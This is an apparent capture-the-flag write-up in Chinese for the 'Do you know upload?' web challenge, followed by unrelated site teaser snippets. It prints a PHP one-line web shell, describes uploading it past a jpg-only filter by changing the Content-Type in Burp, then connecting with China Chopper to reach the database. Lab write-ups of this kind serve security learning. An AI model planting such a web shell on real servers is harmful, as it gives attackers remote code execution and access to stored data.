1、打开是一个上传的界面：
2、经测试，只能上传jpg文件，上传别的会显示文件类型错误。
3、上传一句话木马，使用burp抓包。
<?php @eval($_POST['pass']);?>
改为image/jpeg
4、得到地址后用菜刀连接：
5、发现一个config文件，打开：
7、得到数据库，拿到flag。
总结：一句话木马+中国菜刀+数据库连接
一句话木马知识参考：https://blog.csdn.net/weixin_39190897/article/details/86772765
1、打开是一个上传的界面： 2、经测试，只能上传jpg文件，上传别的会显示文件类型错误。3、上传一句话木马，使用b...
分值：100分 类型：Web题目名称：Do you know upload？题目内容：https://www.ic...
Do you know the warm progress under the stars?Do you know...
If I do not know you,I just do not know that somebody is ...
you know the worst thing you do is disappear. I know you ...
Do you want to know how much money you have? Do you want ...
Do you know what you’re supposed to do to meet a mermaid?...
Do you know the meaning of"DIY"? Its meaning is"Do it you...
You know it!Whatever you do,don't do it be late.You shoul...
Do you know what day it is today? What do you mean? Is it...
本文标题：爱春秋-Do you know upload？
本文链接：https://www.haomeiwen.com/subject/xbiyjhtx.html
网友评论